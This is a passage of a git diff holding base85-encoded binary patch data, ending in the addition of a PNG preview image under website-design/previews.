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 PMC0S82ARKKy7RvPuFlN3 literal 0 HcmV?d00001 diff --git a/website-design/previews/anim2-v5-impact.png b/website-design/previews/anim2-v5-impact.png new file mode 100644 index 0000000000000000000000000000000000000000..d16660852ca2f826ab9c058450515dc4e98c7762 GIT binary patch literal 76105 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 